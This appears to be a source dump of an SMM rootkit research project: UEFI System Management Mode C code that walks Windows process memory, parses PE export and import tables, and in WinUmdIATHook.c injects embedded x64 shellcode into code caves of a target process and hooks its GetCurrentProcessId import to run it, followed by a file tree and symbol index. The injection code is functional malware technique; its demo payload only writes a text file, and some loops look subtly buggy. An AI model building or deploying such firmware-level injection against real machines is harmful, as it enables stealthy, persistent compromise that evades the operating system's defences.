  UINT8 *pbModuleHeader = (UINT8 *)physAddr;
  // nullify the allocated memory
  for (INT32 k = 0; k < 0x1000; k++)
  {
    pbModuleHeader[k] = 0x00;
  }

  BOOLEAN f32;
  UINT16 cSections;
  PIMAGE_NT_HEADERS ntHeader;
  // load nt header either by using optionally supplied module header or by fetching from memory.
  if (!(ntHeader = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32)))
  {
    SerialPrintStringDebug("ERROR: Parsing PE headers in VMM failed!\r\n");
    gSmst2->SmmFreePages(physAddr, 1);
    return 0;
  }
  cSections = f32 ? ((PIMAGE_NT_HEADERS32)ntHeader)->FileHeader.NumberOfSections : ((PIMAGE_NT_HEADERS64)ntHeader)->FileHeader.NumberOfSections;
  if (cSections > 0x40)
  {
    SerialPrintStringDebug("ERROR: Sections > 0x40!\r\n");
    gSmst2->SmmFreePages(physAddr, 1);
    return 0;
  }
  gSmst2->SmmFreePages(physAddr, 1);
  return cSections;
}

STATIC VOID PE_SECTION_DisplayBuffer(WinProc *process, WinModule *basemodule, UINT32 cbDisplayBufferMax, UINT32 *pcSectionsOpt, PIMAGE_SECTION_HEADER pSectionsOpt)
{
  EFI_PHYSICAL_ADDRESS physAddr;
  EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);

  if (ret != EFI_SUCCESS)
  {
    SerialPrintString("ERROR: Failed allocating pages \r\n");
    return;
  }
  UINT8 *pbModuleHeader = (UINT8 *)physAddr;
  // nullify the allocated memory
  for (INT32 k = 0; k < 0x1000; k++)
  {
    pbModuleHeader[k] = 0x00;
  }
  PIMAGE_NT_HEADERS64 ntHeader64;
  BOOLEAN fHdr32;
  UINT32 cSections, cSectionsOpt;
  PIMAGE_SECTION_HEADER pSectionBase;
  if (pcSectionsOpt)
  {
    cSectionsOpt = *pcSectionsOpt;
    *pcSectionsOpt = 0;
  }
  if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &fHdr32)))
  {
    return;
  }
  pSectionBase = fHdr32 ? (PIMAGE_SECTION_HEADER)((UINT64)ntHeader64 + sizeof(IMAGE_NT_HEADERS32)) : (PIMAGE_SECTION_HEADER)((UINT64)ntHeader64 + sizeof(IMAGE_NT_HEADERS64));
  cSections = (UINT32)(((UINT64)pbModuleHeader + 0x1000 - (UINT64)pSectionBase) / sizeof(IMAGE_SECTION_HEADER));
  if (cSections > ntHeader64->FileHeader.NumberOfSections)
  {
    cSections = ntHeader64->FileHeader.NumberOfSections;
  }
  if (pSectionsOpt && pcSectionsOpt && cSectionsOpt)
  {
    if (cSectionsOpt < ntHeader64->FileHeader.NumberOfSections)
    {
      *pcSectionsOpt = cSectionsOpt;
    }
    else
    {
      *pcSectionsOpt = ntHeader64->FileHeader.NumberOfSections;
    }
    p_memCpy((UINT64)pSectionsOpt, (UINT64)pSectionBase, *pcSectionsOpt * sizeof(IMAGE_SECTION_HEADER), FALSE);
  }
  gSmst2->SmmFreePages(physAddr, 1);
}

BOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMAGE_SECTION_HEADER pSections, UINT32 cSections, UINT32 *pcSections)
{
  UINT32 sections = PE_SectionGetNumberOf(process, basemodule);
  if (!pSections)
  {
    *pcSections = sections;
    return TRUE;
  }
  if (cSections < sections)
  {
    return FALSE;
  }
  PE_SECTION_DisplayBuffer(process, basemodule, 0, &cSections, pSections);
  *pcSections = cSections;
  return TRUE;
}

STATIC BOOLEAN PE_GetThunkInfoEAT(WinProc *process, WinModule *basemodule, CHAR8 *procName, PPE_THUNKINFO_EAT pThunkInfoEAT)
{
  // allocate space for pbModuleHeader
  EFI_PHYSICAL_ADDRESS physAddr;
  EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);

  if (ret != EFI_SUCCESS)
  {
    SerialPrintString("ERROR: Failed allocating pages for EAT dump!\r\n");
    return FALSE;
  }
  UINT8 *pbModuleHeader = (UINT8 *)physAddr;

  PIMAGE_NT_HEADERS32 ntHeader32;
  PIMAGE_NT_HEADERS64 ntHeader64;
  UINT32 *pdwRVAAddrNames;
  UINT32 *pdwRVAAddrFunctions;
  UINT16 *pwNameOrdinals;
  UINT32 cbProcName, cbExportDirectoryOffset;
  CHAR8 *sz;
  UINT64 vaExportDirectory;
  UINT32 cbExportDirectory;
  UINT8 *pbExportDirectory = NULL;
  UINT64 vaRVAAddrNames, vaNameOrdinals, vaRVAAddrFunctions;
  BOOLEAN f32;
  if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32)))
  {
    goto cleanup;
  }
  if (f32)
  {
    ntHeader32 = (PIMAGE_NT_HEADERS32)ntHeader64;
    vaExportDirectory = basemodule->baseAddress + ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    cbExportDirectory = ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
  }
  else
  {
    vaExportDirectory = basemodule->baseAddress + ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    cbExportDirectory = ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
  }

  // sanity check the export directory values
  if ((cbExportDirectory < sizeof(IMAGE_EXPORT_DIRECTORY)) || (cbExportDirectory > 0x01000000) || (vaExportDirectory == basemodule->baseAddress) || (vaExportDirectory > basemodule->baseAddress + 0x80000000))
  {
    goto cleanup;
  }
  EFI_PHYSICAL_ADDRESS physAddrExportDir;
  ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, cbExportDirectory / 0x1000 + 1, &physAddrExportDir);
  if (ret != EFI_SUCCESS)
  {
    SerialPrintString("ERROR: Failed allocating pages for the EAT module export directory \r\n");
    gSmst2->SmmFreePages(physAddr, 1);
    return FALSE;
  }
  pbExportDirectory = (UINT8 *)physAddrExportDir;
  // nullify the allocated memory
  for (INT32 k = 0; k < cbExportDirectory; k++)
  {
    pbExportDirectory[k] = 0x00;
  }

  // read the export directory to SMM memory
  // SerialPrintStringDebug("  Reading the export directory to the buffer ...\r\n");
  v_memReadMultiPage((UINT64)pbExportDirectory, vaExportDirectory, cbExportDirectory, process->dirBase, FALSE);

  PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)pbExportDirectory;
  SerialPrintStringDebug("  EAT Buffer filled with ");
  SerialPrintNumberDebug(exp->NumberOfNames, 10);
  SerialPrintStringDebug(" exported names in it!\r\n");

  if (!exp || !exp->NumberOfNames || !exp->AddressOfNames)
  {
    SerialPrintString("ERROR: EAT exp buffer invalid!\r\n");
    goto cleanup;
  }
  vaRVAAddrNames = basemodule->baseAddress + exp->AddressOfNames;
  vaNameOrdinals = basemodule->baseAddress + exp->AddressOfNameOrdinals;
  vaRVAAddrFunctions = basemodule->baseAddress + exp->AddressOfFunctions;
  if ((vaRVAAddrNames < vaExportDirectory) || (vaRVAAddrNames > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT32)))
  {
    SerialPrintString("ERROR: vaRVAAddrNames invalid! value: ");
    SerialPrintNumber(vaRVAAddrNames, 16);
    SerialPrintString("\r\n");
    goto cleanup;
  }
  if ((vaNameOrdinals < vaExportDirectory) || (vaNameOrdinals > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT16)))
  {
    SerialPrintString("ERROR: vaNameOrdinals invalid! value: ");
    SerialPrintNumber(vaNameOrdinals, 16);
    SerialPrintString("\r\n");
    goto cleanup;
  }
  if ((vaRVAAddrFunctions < vaExportDirectory) || (vaRVAAddrFunctions > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT32)))
  {
    SerialPrintString("ERROR: vaRVAAddrFunctions invalid! value: ");
    SerialPrintNumber(vaRVAAddrFunctions, 16);
    SerialPrintString("\r\n");
    goto cleanup;
  }
  cbProcName = (UINT32)strlen(procName) + 1;
  cbExportDirectoryOffset = (UINT32)(vaExportDirectory - basemodule->baseAddress);
  pdwRVAAddrNames = (UINT32 *)(pbExportDirectory + exp->AddressOfNames - cbExportDirectoryOffset);
  pwNameOrdinals = (UINT16 *)(pbExportDirectory + exp->AddressOfNameOrdinals - cbExportDirectoryOffset);
  pdwRVAAddrFunctions = (UINT32 *)(pbExportDirectory + exp->AddressOfFunctions - cbExportDirectoryOffset);
  for (UINT32 i = 0; i < exp->NumberOfNames; i++)
  {
    if (pdwRVAAddrNames[i] - cbExportDirectoryOffset + cbProcName > cbExportDirectory)
    {
      SerialPrintStringDebug("EAT: WARNING: pdwRVAAddrNames[i] exceeds cbExportDirectory at index ");
      SerialPrintNumberDebug(i, 10);
      SerialPrintStringDebug("\r\n");
      continue;
    }
    sz = (CHAR8 *)(pbExportDirectory + pdwRVAAddrNames[i] - cbExportDirectoryOffset);
    if (!strncmp(sz, procName, cbProcName))
    {
      if (pwNameOrdinals[i] >= exp->NumberOfFunctions)
      {
        goto cleanup;
      }
      SerialPrintStringDebug("  EAT: Found ProcName ");
      SerialPrintStringDebug(sz);
      SerialPrintStringDebug("!\r\n");
      pThunkInfoEAT->fValid = TRUE;
      pThunkInfoEAT->vaFunction = (UINT64)(basemodule->baseAddress + pdwRVAAddrFunctions[pwNameOrdinals[i]]);
      pThunkInfoEAT->valueThunk = pdwRVAAddrFunctions[pwNameOrdinals[i]];
      pThunkInfoEAT->vaThunk = vaExportDirectory + exp->AddressOfFunctions - cbExportDirectoryOffset + sizeof(UINT32) * pwNameOrdinals[i];
      pThunkInfoEAT->vaNameFunction = vaExportDirectory + pdwRVAAddrNames[i] - cbExportDirectoryOffset;
      gSmst2->SmmFreePages(physAddr, 1);
      gSmst2->SmmFreePages(physAddrExportDir, cbExportDirectory / 0x1000 + 1);
      return TRUE;
    }
  }
cleanup:
  gSmst2->SmmFreePages(physAddr, 1);
  gSmst2->SmmFreePages(physAddrExportDir, cbExportDirectory / 0x1000 + 1);
  SerialPrintString("EAT: FAILED TO FIND procName: ");
  SerialPrintString(procName);
  SerialPrintString("\r\n");
  return FALSE;
}

UINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CHAR8 *procName)
{
  PE_THUNKINFO_EAT oThunkInfoEAT = {0};
  PE_GetThunkInfoEAT(process, basemodule, procName, &oThunkInfoEAT);
  return oThunkInfoEAT.vaFunction;
}


================================================
FILE: SMM Rootkit/SMMRootkit/WinTools.h
================================================
/*
 * This file and the corresponding .c file 
 * contains a set of needed Windows-related 
 * functions for both reading & writing its 
 * virtual memory. 
 * 
 * These files are imported and ported to work 
 * in SMM. The original libraries are 
 * 
 * - MemProcFS/pcileech by Ulf Frisk
 * - vmread by Heep042
 * 
 */

#ifndef __smmrootkit_wintools_h__
#define __smmrootkit_wintools_h__

#include <Uefi.h>
#include <Base.h>
#include <Protocol/SmmBase2.h>

#include "windows.h"
#include "serial.h"
#include "string.h"
#include "Memory.h" // VTOP, p_memCpy, v_memCpy
#include "MemManager.h"

#define IMAGE_DIRECTORY_ENTRY_IMPORT 1
#define IMAGE_SCN_MEM_EXECUTE 0x20000000
#define IMAGE_SCN_MEM_WRITE 0x80000000

typedef struct ProcessData
{
  UINT64 mapsStart;
  UINT64 mapsSize;
  INT32 pid;
} ProcessData;

typedef struct WinOffsets
{
  INT64 apl;
  INT64 session;
  INT64 imageFileName;
  INT64 dirBase;
  INT64 peb;
  INT64 peb32;
  INT64 threadListHead;
  INT64 threadListEntry;
  INT64 teb;
} WinOffsets;

typedef struct WinProc
{
  UINT64 process;
  UINT64 physProcess;
  UINT64 dirBase;
  UINT64 pid;
  char name[16];
} WinProc;

typedef struct WinProcList
{
  WinProc *list;
  size_t size;
} WinProcList;

typedef struct WinExport
{
  char *name;
  UINT64 address;
} WinExport;

typedef struct WinExportList
{
  WinExport *list;
  size_t size;
} WinExportList;

typedef struct WinModule
{
  UINT64 baseAddress;
  UINT64 entryPoint;
  UINT64 sizeOfModule;
  char *name;
  short loadCount;
} WinModule;

typedef struct WinModuleList
{
  WinModule *list;
  size_t size;
} WinModuleList;

typedef struct WinCtx
{
  ProcessData process;
  WinOffsets offsets;
  UINT64 ntKernel;
  UINT16 ntVersion;
  UINT32 ntBuild;
  WinExportList ntExports;
  WinProc initialProcess;
} WinCtx;

typedef struct tdPE_THUNKINFO_IAT
{
  UINT32 fValid;
  UINT32 f32;            // if TRUE fn is a 32-bit/4-byte entry, otherwise 64-bit/8-byte entry.
  UINT64 vaThunk;        // address of import address table 'thunk'.
  UINT64 vaFunction;     // value if import address table 'thunk' == address of imported function.
  UINT64 vaNameModule;   // address of name string for imported module.
  UINT64 vaNameFunction; // address of name string for imported function.
} PE_THUNKINFO_IAT, *PPE_THUNKINFO_IAT;

typedef struct tdPE_THUNKINFO_EAT
{
  UINT32 fValid;
  UINT32 valueThunk;     // value of export address table 'thunk'.
  UINT64 vaThunk;        // address of import address table 'thunk'.
  UINT64 vaNameFunction; // address of name string for exported function.
  UINT64 vaFunction;     // address of exported function (module base + value parameter).
} PE_THUNKINFO_EAT, *PPE_THUNKINFO_EAT;

typedef struct _IMAGE_IMPORT_DESCRIPTOR
{
  union {
    UINT32 Characteristics;    //0 for terminating null import descriptor
    UINT32 OriginalFirstThunk; // RVA to original unbound IAT
  };
  UINT32 TimeDateStamp;
  UINT32 ForwarderChain; // -1 if no forwarders
  UINT32 Name;           // RVA of imported DLL name (null-terminated SCII)
  UINT32 FirstThunk;     // RVA to IAT (if bound this IAT has addresses )

} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;



BOOLEAN InitGlobalWindowsContext();
IMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process, UINT64 address, UINT8 *header, UINT8 *is64Bit);
BOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, IMAGE_DATA_DIRECTORY *exports, WinExportList *outList);
BOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, WinExportList *outList);
VOID FreeExportList(WinExportList list);
UINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 module, const CHAR8 *procName);
UINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName);
PEB GetPeb(const WinCtx *ctx, const WinProc *process);
PEB32 GetPeb32(const WinCtx *ctx, const WinProc *process);
BOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose);
BOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *process, BOOLEAN verbose);
BOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose);

BOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, CHAR8 *szImportModuleName, CHAR8 *szImportProcName, PPE_THUNKINFO_IAT pThunkInfoIAT);

BOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMAGE_SECTION_HEADER pSections, UINT32 cSections, UINT32 *pcSections);

UINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CHAR8 *procName);

#endif

================================================
FILE: SMM Rootkit/SMMRootkit/WinUmdIATHook.c
================================================
#include "WinUmdIATHook.h"

// From NtKernelTools.c
extern WinCtx *winGlobal;

// shellcode to inject into the UMD
const UINT8 WinUmdIATShellCode[] = {
  0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0xEB, 0x10, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
  0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x50, 0x48, 0x8B, 0x0D, 0xE8, 0xFF, 0xFF, 0xFF,
  0x48, 0x83, 0xEC, 0x30, 0xE8, 0x13, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x30, 0x58, 0x41, 0x59,
  0x41, 0x58, 0x5A, 0x59, 0xFF, 0x25, 0xD6, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48,
  0x89, 0x58, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x83, 0x79, 0x18, 0x00, 0x48, 0x8B, 0xD9,
  0x74, 0x52, 0x48, 0x83, 0x60, 0xE8, 0x00, 0x48, 0x83, 0xC1, 0x58, 0xC7, 0x40, 0xE0, 0x80, 0x00,
  0x00, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xC7, 0x40, 0xD8, 0x02, 0x00, 0x00, 0x00, 0xBA,
  0x00, 0x00, 0x00, 0xC0, 0xFF, 0x53, 0x20, 0x48, 0x8B, 0xF8, 0x48, 0x83, 0xF8, 0xFF, 0x74, 0x24,
  0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8D, 0x93, 0xBC, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9,
  0x48, 0x8B, 0xC8, 0x45, 0x8D, 0x41, 0x10, 0xFF, 0x53, 0x48, 0x48, 0x8B, 0xCF, 0xFF, 0x53, 0x18,
  0xC6, 0x43, 0x08, 0xFF, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x40, 0x5F, 0xC3 };

// these vars are needed between different stages, therefore
// they are defined global
static WinProc TargetProcess;
static WinModule TargetModule;
static PE_THUNKINFO_IAT oThunkInfoIAT;
static UINT64 vaCodeCave;
static UINT64 vaWriteCave;
static WinUmdIATState currState;

// Find the process
static BOOLEAN WindowsUmdIATHookStage1()
{
  //-----------------------------------------
  // 0: Find the process and its base module
  //-----------------------------------------
  BOOLEAN verbose = FALSE;
  WinProc process;

  if (!DumpSingleProcess(winGlobal, "smm_target.exe", &process, verbose))
  {
    return FALSE;
  }
  else
  {
    TargetProcess.dirBase = process.dirBase;
    TargetProcess.physProcess = process.physProcess;
    TargetProcess.process = process.process;
  }

  TargetModule.name = "smm_target.exe";
  if (!DumpSingleModule(winGlobal, &TargetProcess, &TargetModule, verbose))
  {
    SerialPrintStringDebug("Failed parsing the base exe module! \r\n");
    return FALSE;
  }
  return TRUE;
}

// From pcileech, for injecting UM shellcode into the target
static BOOLEAN WindowsUmdIATHookStage2()
{
  WinUmdIATCtxLimited ctx;
  CHAR8 *HookModuleName = "kernel32.dll";
  CHAR8 *HookFunctionName = "GetCurrentProcessId";

  // Sanity checking
  if (TargetProcess.dirBase == 0 || TargetModule.baseAddress == 0)
  {
    SerialPrintStringDebug("The process dirbase or its module baseaddress was 0!\r\n");
    return FALSE;
  }

  // Nullify variables that were possibly set last time
  vaCodeCave = 0;
  vaWriteCave = 0;
  for (INT32 i = 0; i < sizeof(PE_THUNKINFO_IAT); i++)
  {
    ((UINT8 *)&oThunkInfoIAT)[i] = 0;
  }

  //--------------------------------------------------------------------------
  // 1: Verify process and locate 'IAT inject', r-x 'code cave' and rw- 'config cave'.
  //--------------------------------------------------------------------------

  SerialPrintStringDebug("  Getting process IAT Thunk ...\r\n");
  if (!ProcessGetThunkInfoIAT(&TargetProcess, &TargetModule, HookModuleName, HookFunctionName, &oThunkInfoIAT))
  {
    SerialPrintString("ERROR: UMD EXEC: Could not get IAT Info!\r\n");
    return FALSE;
  }
  if (!oThunkInfoIAT.fValid || oThunkInfoIAT.f32)
  {
    SerialPrintString("ERROR: UMD: EXEC: Could not retrieve valid hook in 64-bit process.\r\n");
    return FALSE;
  }

  SerialPrintStringDebug("  Finding process sections for code & write caves ...\r\n");
  UINT32 cSections;
  PIMAGE_SECTION_HEADER pSections;
  if (!ProcessGetSections(&TargetProcess, &TargetModule, NULL, 0, &cSections) || !cSections)
  {
    SerialPrintString("ERROR: UMD: EXEC: Could not retrieve sections #1\r\n");
    return FALSE;
  }

  pSections = (PIMAGE_SECTION_HEADER)malloc(cSections * sizeof(IMAGE_SECTION_HEADER));
  if (!pSections || !ProcessGetSections(&TargetProcess, &TargetModule, pSections, cSections, &cSections) || !cSections)
  {
    SerialPrintString("ERROR: UMD: EXEC: Could not retrieve sections #2\r\n");
    return FALSE;
  }

  for (UINT32 i = 0; i < cSections; i++)
  {
    // 0x500 magic number for ShellCode to fit in
    if (!vaCodeCave && (pSections[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && ((pSections[i].Misc.VirtualSize & 0xfff) < (0x1000 - 0x500)))
    {
      vaCodeCave = TargetModule.baseAddress + ((pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - 0x500;
      if (!VTOP(vaCodeCave & ~0xfff, TargetProcess.dirBase, FALSE))
      {
        vaCodeCave = 0; // read test failed!
      }
    }
    if (!vaWriteCave && (pSections[i].Characteristics & IMAGE_SCN_MEM_WRITE) && ((pSections[i].Misc.VirtualSize & 0xfff) < (0x1000 - sizeof(ctx))))
    {
      vaWriteCave += TargetModule.baseAddress + ((pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - sizeof(ctx);
      if (!VTOP(vaWriteCave & ~0xfff, TargetProcess.dirBase, FALSE))
      {
        vaWriteCave = 0; // read test failed!
      }
    }
  }
  if (!vaCodeCave || !vaWriteCave)
  {
    if (!vaCodeCave)
    {
      SerialPrintString("ERROR: UMD: EXEC: Could not find a code cave!\r\n");
    }
    if (!vaWriteCave)
    {
      SerialPrintString("ERROR: UMD: EXEC: Could not find a write cave!\r\n");
    }
    return FALSE;
  }

  //------------------------------------------------
  // 2: Prepare injection and patch shellcode
  //------------------------------------------------

  SerialPrintStringDebug("  Suitable caves found! Dumping kernel32.dll exports ...\r\n");
  // Prepare shellcode (goes into r-x section)
  UINT8 *ShellCode = (UINT8 *)malloc(sizeof(WinUmdIATShellCode));
  p_memCpy((UINT64)ShellCode, (UINT64)WinUmdIATShellCode, sizeof(WinUmdIATShellCode), FALSE);
  *(UINT64 *)(ShellCode + 0x08) = vaWriteCave;
  *(UINT64 *)(ShellCode + 0x10) = oThunkInfoIAT.vaFunction;

  // Dump the module kernel32.dll, we need it to map exports
  WinModule kernel32_dll;
  kernel32_dll.name = "kernel32.dll";
  if (!DumpSingleModule(winGlobal, &TargetProcess, &kernel32_dll, FALSE))
  {
    SerialPrintStringDebug("Could not dump kernel32.dll from the target process!\r\n");
    free(ShellCode);
    return FALSE;
  }

  // TODO: atomicity / mutex with cmpxchg as in pcileech !
  ctx.CMPXCHG = 0;
  // Prepare configuration data (goes into rw- section)
  ctx.fn.CloseHandle = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CloseHandle");
  ctx.fn.CreateFileA = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CreateFileA");
  ctx.fn.CreateProcessA = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CreateProcessA");
  ctx.fn.CreateThread = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CreateThread");
  ctx.fn.GetExitCodeProcess = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "GetExitCodeProcess");
  ctx.fn.ReadFile = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "ReadFile");
  ctx.fn.WriteFile = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "WriteFile");
  ctx.fn.LocalAlloc = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "LocalAlloc");
  // hardcoded name to make it ez
  p_memCpy((UINT64)ctx.ParamString1, (UINT64) "c:\\smm.txt", strlen("c:\\smm.txt") + 1, FALSE);
  p_memCpy((UINT64)ctx.ParamString2, (UINT64) "Hello from SMM!", strlen("Hello from SMM!") + 1, FALSE);

  //------------------------------------------------
  // 4: TODO: Inject & hook IAT
  //------------------------------------------------

  v_memWrite(vaWriteCave, (UINT64)&ctx, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE);
  v_memWrite(vaCodeCave, (UINT64)ShellCode, sizeof(WinUmdIATShellCode), TargetProcess.dirBase, FALSE);
  v_memWrite(oThunkInfoIAT.vaThunk, (UINT64)&vaCodeCave, 8, TargetProcess.dirBase, FALSE);

  free(ShellCode);
  return TRUE;
}

static BOOLEAN WindowsUmdIATHookStage3()
{
  //------------------------------------------------
  // 5: Check for execution after wait
  //------------------------------------------------
  BOOLEAN ret = TRUE;
  WinUmdIATCtxLimited ctx;

  v_memReadMultiPage((UINT64)&ctx, (UINT64)&vaWriteCave, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE);

  // The UMD program did not update the status field in context struct,
  // the execution failed
  if (!ctx.Status)
  {
    SerialPrintStringDebug("  UMD: FAILED! Error or Timeout after 15s.\r\n");
    ret = FALSE;
  }
  else
    SerialPrintStringDebug("  UMD: Execution succeeded! Restoring ...\r\n");

  //------------------------------------------------
  // 6: Restore
  //------------------------------------------------

  // Restore the IAT hook
  v_memWrite(oThunkInfoIAT.vaThunk, (UINT64)&oThunkInfoIAT.vaFunction, 8, TargetProcess.dirBase, FALSE);

  // Nullify write cave ...
  for (INT32 i = 0; sizeof(WinUmdIATCtxLimited); i++)
  {
    ((UINT8 *)&ctx)[i] = 0;
  }
  v_memWrite(vaWriteCave, (UINT64)&ctx, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE);

  // ... and the code cave. If malloc fails, we simply
  // bail out without restoring the code cave.
  UINT8 *ShellCode = (UINT8 *)malloc(sizeof(WinUmdIATShellCode));
  if (!ShellCode)
  {
    SerialPrintStringDebug("  UMD: Restoring code cave failed! Executi
Download .txt
gitextract_y9b5pqko/

├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── SMM Rootkit/
│   ├── Conf/
│   │   └── target.txt
│   ├── OvmfPkg/
│   │   ├── OvmfPkgX64.dsc
│   │   └── OvmfPkgX64.fdf
│   ├── SMMRootkit/
│   │   ├── .gitignore
│   │   ├── MemManager.c
│   │   ├── MemManager.h
│   │   ├── Memory.c
│   │   ├── Memory.h
│   │   ├── MemoryMapUEFI.c
│   │   ├── MemoryMapUEFI.h
│   │   ├── SMMRootkit.c
│   │   ├── SMMRootkit.inf
│   │   ├── TimerRTC.c
│   │   ├── TimerRTC.h
│   │   ├── WinTools.c
│   │   ├── WinTools.h
│   │   ├── WinUmdIATHook.c
│   │   ├── WinUmdIATHook.h
│   │   ├── helpers.asm
│   │   ├── serial.c
│   │   ├── serial.h
│   │   ├── string.c
│   │   ├── string.h
│   │   └── windows.h
│   └── UefiCpuPkg/
│       ├── PiSmmCpuDxeSmm/
│       │   └── X64/
│       │       └── PageTbl.c
│       └── UefiCpuPkg.dec
├── run_docker.sh
├── shellcode/
│   └── windows_x64_umd_iat/
│       ├── README.md
│       ├── windows_x64_umd_iat.asm
│       └── windows_x64_umd_iat.c
└── target_tests/
    └── windows_x64_umd_iat/
        ├── .gitignore
        ├── README.md
        ├── windows_x64_umd_iat/
        │   ├── windows_x64_umd_iat.cpp
        │   ├── windows_x64_umd_iat.vcxproj
        │   └── windows_x64_umd_iat.vcxproj.filters
        └── windows_x64_umd_iat.sln
Download .txt
SYMBOL INDEX (135 symbols across 18 files)

FILE: SMM Rootkit/SMMRootkit/MemManager.c
  function UINT64 (line 11) | UINT64 GetMemAllocated()
  function BOOLEAN (line 16) | BOOLEAN InitMemManager(UINT32 pages)
  function VOID (line 42) | VOID *palloc(UINT32 pages)
  function VOID (line 52) | VOID pfree(VOID *address, UINT32 pages)
  function VOID (line 57) | VOID *malloc(UINT32 size)
  function VOID (line 114) | VOID free(VOID *address)

FILE: SMM Rootkit/SMMRootkit/MemManager.h
  type MemAllocEntry_t (line 26) | typedef struct memallocentry MemAllocEntry_t, *PMemAllocEntry_t;
  type memallocentry (line 29) | struct memallocentry
  type memallocentry (line 40) | struct memallocentry {

FILE: SMM Rootkit/SMMRootkit/Memory.c
  function BOOLEAN (line 6) | BOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose)
  function UINT64 (line 27) | UINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose)
  function BOOLEAN (line 146) | BOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UIN...
  function BOOLEAN (line 277) | BOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBa...
  function BOOLEAN (line 291) | BOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 dir...
  function BOOLEAN (line 320) | BOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBas...

FILE: SMM Rootkit/SMMRootkit/Memory.h
  type Cache (line 16) | typedef struct _Cache
  type UINT32 (line 23) | typedef UINT32 size_t;

FILE: SMM Rootkit/SMMRootkit/MemoryMapUEFI.c
  function BOOLEAN (line 15) | BOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR *MemoryMap)
  function STATIC (line 31) | STATIC BOOLEAN CopyMemUnsafe(UINT64 dest, UINT64 src, UINT32 n, BOOLEAN ...
  function STATIC (line 44) | STATIC VOID SortMemoryMap(
  function STATIC (line 76) | STATIC VOID MergeMemoryMapForNotPresentEntry(
  function BOOLEAN (line 125) | BOOLEAN InitUefiMemoryMap()
  function BOOLEAN (line 181) | BOOLEAN IsAddressValid(UINT64 address)
  function EFI_MEMORY_DESCRIPTOR (line 204) | EFI_MEMORY_DESCRIPTOR *GetUefiMemoryMap()
  function VOID (line 209) | VOID ShowMemoryMap()

FILE: SMM Rootkit/SMMRootkit/SMMRootkit.c
  function VOID (line 30) | VOID SmmCallHandle()
  function EFI_STATUS (line 50) | EFI_STATUS EFIAPI SmmHandler(IN EFI_HANDLE DispatchHandle, IN CONST VOID...
